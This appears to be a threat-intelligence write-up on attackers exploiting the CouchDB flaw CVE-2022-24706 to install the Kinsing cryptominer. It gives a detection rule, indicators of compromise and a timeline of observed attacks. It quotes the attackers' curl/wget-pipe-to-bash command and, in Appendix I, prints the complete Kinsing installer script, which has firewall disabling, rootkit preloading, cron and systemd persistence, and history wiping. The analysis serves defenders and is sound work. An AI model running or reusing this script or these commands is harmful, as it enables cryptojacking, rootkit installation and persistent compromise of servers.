On April 26, 2022, Apache officially issued a risk notice or Apache CouchDB remote code execution vulnerability, giving it the vulnerability number CVE-2022-24706 and a severity level of critical.
Attackers have been actively exploiting this vulnerability since a public exploit was available (May 11th), installing the Kinsing malware family for cryptocurrency mining.
The Vulnerability
According to its website, CouchDB is a database that completely embraces the web. It allows users to store their data with JSON documents, access their documents with a web browser via HTTP, and query, combine and transform their documents with JavaScript. CouchDB works well with modern web and mobile apps. Users can distribute their data, efficiently using CouchDB’s incremental replication. CouchDB supports master-master setups with automatic conflict detection.
This means an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
- CouchDB opens a random network port, bound to all available interfaces in anticipation of clustered operation and/or runtime introspection. A utility process called
epmd
advertises that random port to the network.epmd
itself listens on a fixed port. - CouchDB packaging previously chose a default cookie value for single-node as well as clustered installations. That cookie authenticates any communication between Erlang nodes.
The CouchDB documentation has always made recommendations for properly securing an installation, but not all users follow the security guidelines.
The CVE-2022-24706 can be easily exploited, and there are several public exploits on the Internet that take advantage of the default cookie value ‘monster’ to connect to the CouchDB port described above.
Successful exploitation will generate a new process by user ‘couchdb’ whose parent process basename is erl_child_setup
. The following EQL rule represents the event:
process where event = ‘CreateProcess’ and process_user_name = ‘couchdb’ and parent_process_basename = ‘erl_child_setup’
The following image shows a successful exploitation that creates a shell (/usr/bin/dash -c exec /bin/sh -s unix:cmd).
Shell execution
The following image shows all the events before the payload (executing the uptime command) after exploiting the vulnerability:
Exploitation example
Active Exploitation
So far all the exploitations that we have been monitoring have been related to cryptominers; as soon as the first public exploit was published (May 11th 2022) it was quickly adapted to the cryptominers’ exploit kits.
The majority of the exploitation attempts followed these steps:
- Check that the vulnerability exists by executing a command. Example: ‘echo asdasd4|md5sum’
- Exploit the vulnerability and download and execute a bash script.
As we can see in the following screenshot, there was a connection to the port 4369/tcp from 95.182.120.164 (Russia) that is the static port for the epmd
process. This access is querying the epmd
process for the number of the other random port created by CouchDB. In this installation the other port was 42149/tcp where the process ‘beam.smp’ is listening for incoming connections.
The exploit then sends a specific CouchDB command through that port that is able to execute commands. As you can see in the image, there was only 0.5 seconds between the first connection and the second one, so it seems that the attackers were using an outgoing load balancer for their attacks.
Exploitation of CVE-2022-24706
The command they executed was ‘(curl -s 185.14.30.35/ce.sh||wget -q -O- 185.14.30.35/ce.sh)|bash’
that was trying to download a shell script (included in Appendix I) and execute it, installing the well-known Kinsing malware in the host.
Remote Command Execution
Kinsing Execution
Kdevtmpfsi Execution
The executed script performed the following steps:
- Remove the immutable flag from /etc/ld.so.preload, all files in /var/spool/cron and /etc/crontab
- Disable the firewall
- Stop NMI hard lock detector so that no hardware instruction interruption is feasible
- Check if either curl or wget is present in the system, if not try to install it
- Kill other well-known cryptominers
- Download needed binaries:
- a. hxxp://185.14.30.35/kinsing
- b. hxxp://185.14.30.35/libsystem.so
- Try to install a systemd service (persistence)
- Execute the kinsing binary
- Clean other malicious crontab entries that could be in the system
- Install a crontab for persistence purposes:
- a. “* * * * * $LDR http://91.241.19.134/ce.sh | bash > /dev/null 2>&1”
- Clean history files
The kinsing binary acts as a watchdog and it drops and executes another binary (/tmp/kdevtmpfsi) that is the cryptominer. There are multiple good analysis about Kinsing and how it uses the rootkit, so we recommend reading these resources in order to understand better how it works:
- Analysis of Kinsing Malware’s Use of Rootkit
- Log4j Kinsing Linux Stealth Malware in the Wild
- CVE-2021-41773 Actively Exploited by H2Miner
IOC
IOC | Information | Description |
---|---|---|
193.106.191.48 | Kanzas LLC (Russia) | CVE-2022-24706 exploitation |
95.182.120.164 | Ildar Gilmutdinov PE (Russia) | CVE-2022-24706 exploitation |
185.14.30.35 | GREEN FLOID EU Support Team (USA) | Malware hosting |
212.22.77.79 | VirtualDC Project (Letonia) | C&C |
ce.sh | 5bab937d057b35ffd4e50e2c170863f9b40fbf9424f66d0ddeae2a62b6403937 | Installation script |
kinsing | 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d | The installation and watchdog part |
libsystem.so | c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a | The rootkit part |
/tmp/kdevtmpfsi | d318cdb5fee75d647c784a6dcb2a5a613143caf7740087726911bab35206b666 | The cryptominer part |
Appendix I
#!/bin/bash
ulimit -n 65535
chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
ROOTUID="0"
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -s /usr/bin/curl ]; then
echo "found curl"
elif [ -s /usr/bin/wget ]; then
echo "found wget"
else
echo "found none"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
echo "not root"
else
apt-get update
apt-get install -y curl
apt-get install -y wget
apt-get install -y cron
fi
fi
SERVICE_NAME="bot"
BIN_NAME="kinsing"
SO_NAME="libsystem.so"
BIN_PATH="/etc"
if [ "$(id -u)" -ne "$ROOTUID" ] ; then
BIN_PATH="/tmp"
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH not exists or not writeable"
mkdir /tmp
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /var/tmp"
BIN_PATH="/var/tmp"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
TMP_DIR=$(mktemp -d)
echo "$BIN_PATH replacing with $TMP_DIR"
BIN_PATH="$TMP_DIR"
fi
if [ ! -e "$BIN_PATH" ] || [ ! -w "$BIN_PATH" ]; then
echo "$BIN_PATH replacing with /dev/shm"
BIN_PATH="/dev/shm"
fi
if [ -e "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME exists"
if [ ! -w "$BIN_PATH/$BIN_NAME" ]; then
echo "$BIN_PATH/$BIN_NAME not writeable"
TMP_BIN_NAME=$(head -3 /dev/urandom | tr -cd '[:alnum:]' | cut -c -8)
BIN_NAME="kinsing_$TMP_BIN_NAME"
else
echo "writeable $BIN_PATH/$BIN_NAME"
fi
fi
fi
BIN_FULL_PATH="$BIN_PATH/$BIN_NAME"
echo "$BIN_FULL_PATH"
BIN_MD5="2c44b4e4706b8bd95d1866d7867efa0e"
BIN_DOWNLOAD_URL="http://185.14.30.35/kinsing"
BIN_DOWNLOAD_URL2="http://185.14.30.35/kinsing"
CURL_DOWNLOAD_URL="http://185.14.30.35/curl-amd64"
SO_FULL_PATH="$BIN_PATH/$SO_NAME"
SO_DOWNLOAD_URL="http://185.14.30.35/libsystem.so"
SO_DOWNLOAD_URL2="http://185.14.30.35/libsystem.so"
SO_MD5="ccef46c7edf9131ccffc47bd69eb743b"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ]; then
LDR="curl"
fi
if [ -s /usr/bin/wget ]; then
LDR="wget -q -O -"
fi
if [ -x "$(command -v curl)" ]; then
WGET="curl -o"
elif [ -x "$(command -v wget)" ]; then
WGET="wget -O"
else
curl -V || __curl "$CURL_DOWNLOAD_URL" > /usr/local/bin/curl; chmod +x /usr/local/bin/curl
/usr/local/bin/curl -V && WGET="/usr/local/bin/curl -o"
/usr/local/bin/curl -V || __curl "$CURL_DOWNLOAD_URL" > $HOME/curl; chmod +x $HOME/curl
$HOME/curl -V && WGET="$HOME/curl -o"
$HOME/curl -V || __curl "$CURL_DOWNLOAD_URL" > $BIN_PATH/curl; chmod +x $BIN_PATH/curl
$BIN_PATH/curl -V && WGET="$BIN_PATH/curl -o"
fi
echo "wget is $WGET"
ls -la $BIN_PATH | grep -e "/dev" | grep -v grep
if [ $? -eq 0 ]; then
rm -rf $BIN_FULL_PATH
rm -rf $SO_FULL_PATH
rm -rf $BIN_PATH/kdevtmpfsi
rm -rf $BIN_PATH/libsystem.so
rm -rf /tmp/kdevtmpfsi
echo "found /dev"
else
echo "not found /dev"
fi
download() {
DOWNLOAD_PATH=$1
DOWNLOAD_URL=$2
if [ -L $DOWNLOAD_PATH ]
then
rm -rf $DOWNLOAD_PATH
fi
if [[ -d $DOWNLOAD_PATH ]]
then
rm -rf $DOWNLOAD_PATH
fi
chmod 777 $DOWNLOAD_PATH
$WGET $DOWNLOAD_PATH $DOWNLOAD_URL
chmod +x $DOWNLOAD_PATH
}
checkExists() {
CHECK_PATH=$1
MD5=$2
sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
retval=""
if [ "$MD5" = "$sum" ]; then
echo >&2 "$CHECK_PATH is $MD5"
retval="true"
else
echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
retval="false"
fi
echo "$retval"
}
getSystemd() {
AUTOSTART_PATH=$1
echo "[Unit]"
echo "Description=Start daemon at boot time"
echo "After="
echo "Requires="
echo "[Service]"
echo "Type=forking"
echo "RestartSec=10s"
echo "Restart=always"
echo "TimeoutStartSec=5"
echo "ExecStart=$AUTOSTART_PATH"
echo "[Install]"
echo "WantedBy=multi-user.target"
}
kill(){
pkill -f /tmp/.out
ps aux| grep "./ll1"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep "agetty" | grep -v grep | awk '{if($3>80.0) print $2}' | xargs -I % kill -9 %
pkill -f 42.112.28.216
netstat -anp | grep "207.38.87.6" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "127.0.0.1:52018" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "34.81.218.76:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep "42.112.28.216:9486" | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
pkill -f .git/kthreaddw
pkill -f 80.211.206.105
pkill -f 207.38.87.6
pkill -f p8444
pkill -f supportxmr
pkill -f monero
pkill -f kthreaddi
pkill -f srv00
pkill -f /tmp/.javae/javae
pkill -f .javae
pkill -f .syna
pkill -f .main
pkill -f xmm
pkill -f solr.sh
pkill -f /tmp/.solr/solrd
pkill -f /tmp/javac
pkill -f /tmp/.go.sh
pkill -f /tmp/.x/agetty
pkill -f /tmp/.x/kworker
pkill -f c3pool
pkill -f /tmp/.X11-unix/gitag-ssh
pkill -f /tmp/1
pkill -f /tmp/okk.sh
pkill -f /tmp/gitaly
pkill -f /tmp/.x/kworker
pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
pkill -f /tmp/.X11-unix/supervise
pkill -f /tmp/.ssh/redis.sh
ps aux| grep "./udp"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
cat /tmp/.X11-unix/01|xargs -I % kill -9 %
cat /tmp/.X11-unix/11|xargs -I % kill -9 %
cat /tmp/.X11-unix/22|xargs -I % kill -9 %
cat /tmp/.pg_stat.0|xargs -I % kill -9 %
cat /tmp/.pg_stat.1|xargs -I % kill -9 %
cat $HOME/data/./oka.pid|xargs -I % kill -9 %
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
pkill -f cruner
pkill -f dbused
pkill -f bashirc
pkill -f meminitsrv
ps aux| grep "./oka"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps aux| grep "postgres: autovacum"| grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey|grep -v kinsing| awk '{print $2}'|xargs -I % kill -9 %
ps ax -o command,pid -www| awk 'length($1) == 16'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $2}'|xargs -I % kill -9 %
ps ax| awk 'length($5) == 8'|grep -v bin|grep -v "\["|grep -v "("|grep -v "php-fpm"|grep -v proxymap|grep -v postgres|grep -v postgrey| awk '{print $1}'|xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/sscks' | awk '{print $2}' | xargs -I % kill -9 %
}
kill
autoinit() {
getSystemd $BIN_FULL_PATH >/lib/systemd/system/$SERVICE_NAME.service
systemctl enable $SERVICE_NAME
systemctl start $SERVICE_NAME
}
so() {
soExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH exists and checked"
else
echo "$SO_FULL_PATH not exists"
download $SO_FULL_PATH $SO_DOWNLOAD_URL
binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH after download exists and checked"
else
echo "$SO_FULL_PATH after download not exists"
download $SO_FULL_PATH $SO_DOWNLOAD_URL2
binExists=$(checkExists "$SO_FULL_PATH" "$SO_MD5")
if [ "$soExists" == "true" ]; then
echo "$SO_FULL_PATH after download2 exists and checked"
else
echo "$SO_FULL_PATH after download2 not exists"
fi
fi
fi
echo $SO_FULL_PATH >/etc/ld.so.preload
}
cleanCron() {
crontab -l | sed '/base64/d' | crontab -
crontab -l | sed '/_cron/d' | crontab -
crontab -l | sed '/31.210.20.181/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab -
crontab -l | sed '/logo/d' | crontab -
crontab -l | sed '/tor2web/d' | crontab -
crontab -l | sed '/jpg/d' | crontab -
crontab -l | sed '/png/d' | crontab -
crontab -l | sed '/tmp/d' | crontab -
crontab -l | sed '/zmreplchkr/d' | crontab -
crontab -l | sed '/aliyun.one/d' | crontab -
crontab -l | sed '/3.215.110.66.one/d' | crontab -
crontab -l | sed '/pastebin/d' | crontab -
crontab -l | sed '/onion/d' | crontab -
crontab -l | sed '/lsd.systemten.org/d' | crontab -
crontab -l | sed '/shuf/d' | crontab -
crontab -l | sed '/ash/d' | crontab -
crontab -l | sed '/mr.sh/d' | crontab -
crontab -l | sed '/185.181.10.234/d' | crontab -
crontab -l | sed '/localhost.xyz/d' | crontab -
crontab -l | sed '/45.137.151.106/d' | crontab -
crontab -l | sed '/111.90.159.106/d' | crontab -
crontab -l | sed '/github/d' | crontab -
crontab -l | sed '/bigd1ck.com/d' | crontab -
crontab -l | sed '/xmr.ipzse.com/d' | crontab -
crontab -l | sed '/185.181.10.234/d' | crontab -
crontab -l | sed '/146.71.79.230/d' | crontab -
crontab -l | sed '/122.51.164.83/d' | crontab -
crontab -l | sed '/185.191.32.198/d' | crontab -
crontab -l | sed '/newdat.sh/d' | crontab -
crontab -l | sed '/lib.pygensim.com/d' | crontab -
crontab -l | sed '/t.amynx.com/d' | crontab -
crontab -l | sed '/update.sh/d' | crontab -
crontab -l | sed '/systemd-service.sh/d' | crontab -
crontab -l | sed '/pg_stat.sh/d' | crontab -
crontab -l | sed '/sleep/d' | crontab -
crontab -l | sed '/oka/d' | crontab -
crontab -l | sed '/linux1213/d' | crontab -
crontab -l | sed '/#wget/d' | crontab -
crontab -l | sed '/#curl/d' | crontab -
crontab -l | sed '/zsvc/d' | crontab -
crontab -l | sed '/givemexyz/d' | crontab -
crontab -l | sed '/world/d' | crontab -
crontab -l | sed '/1.sh/d' | crontab -
crontab -l | sed '/3.sh/d' | crontab -
crontab -l | sed '/workers/d' | crontab -
crontab -l | sed '/oracleservice/d' | crontab -
}
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH exists and checked"
else
echo "$BIN_FULL_PATH not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH after download exists and checked"
else
echo "$BIN_FULL_PATH after download not exists"
download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
if [ "$binExists" == "true" ]; then
echo "$BIN_FULL_PATH after download2 exists and checked"
else
echo "$BIN_FULL_PATH after download2 not exists"
fi
fi
fi
so
if [ -L /tmp/kdevtmpfsi ]
then
rm -rf /tmp/kdevtmpfsi
fi
rm -rf /tmp/kdevtmpfsi
chmod 777 $BIN_FULL_PATH
chmod +x $BIN_FULL_PATH
SKL=ce $BIN_FULL_PATH
if [[ $(id -u) -ne 0 ]]; then
echo "Running as not root"
else
echo "Running as root"
autoinit
fi
cleanCron
crontab -l | grep -e "91.241.19.134" | grep -v grep
if [ $? -eq 0 ]; then
echo "cron good"
else
(
crontab -l 2>/dev/null
echo "* * * * * $LDR http://91.241.19.134/ce.sh | bash > /dev/null 2>&1"
) | crontab -
fi
history -c
rm -rf ~/.bash_history
history -c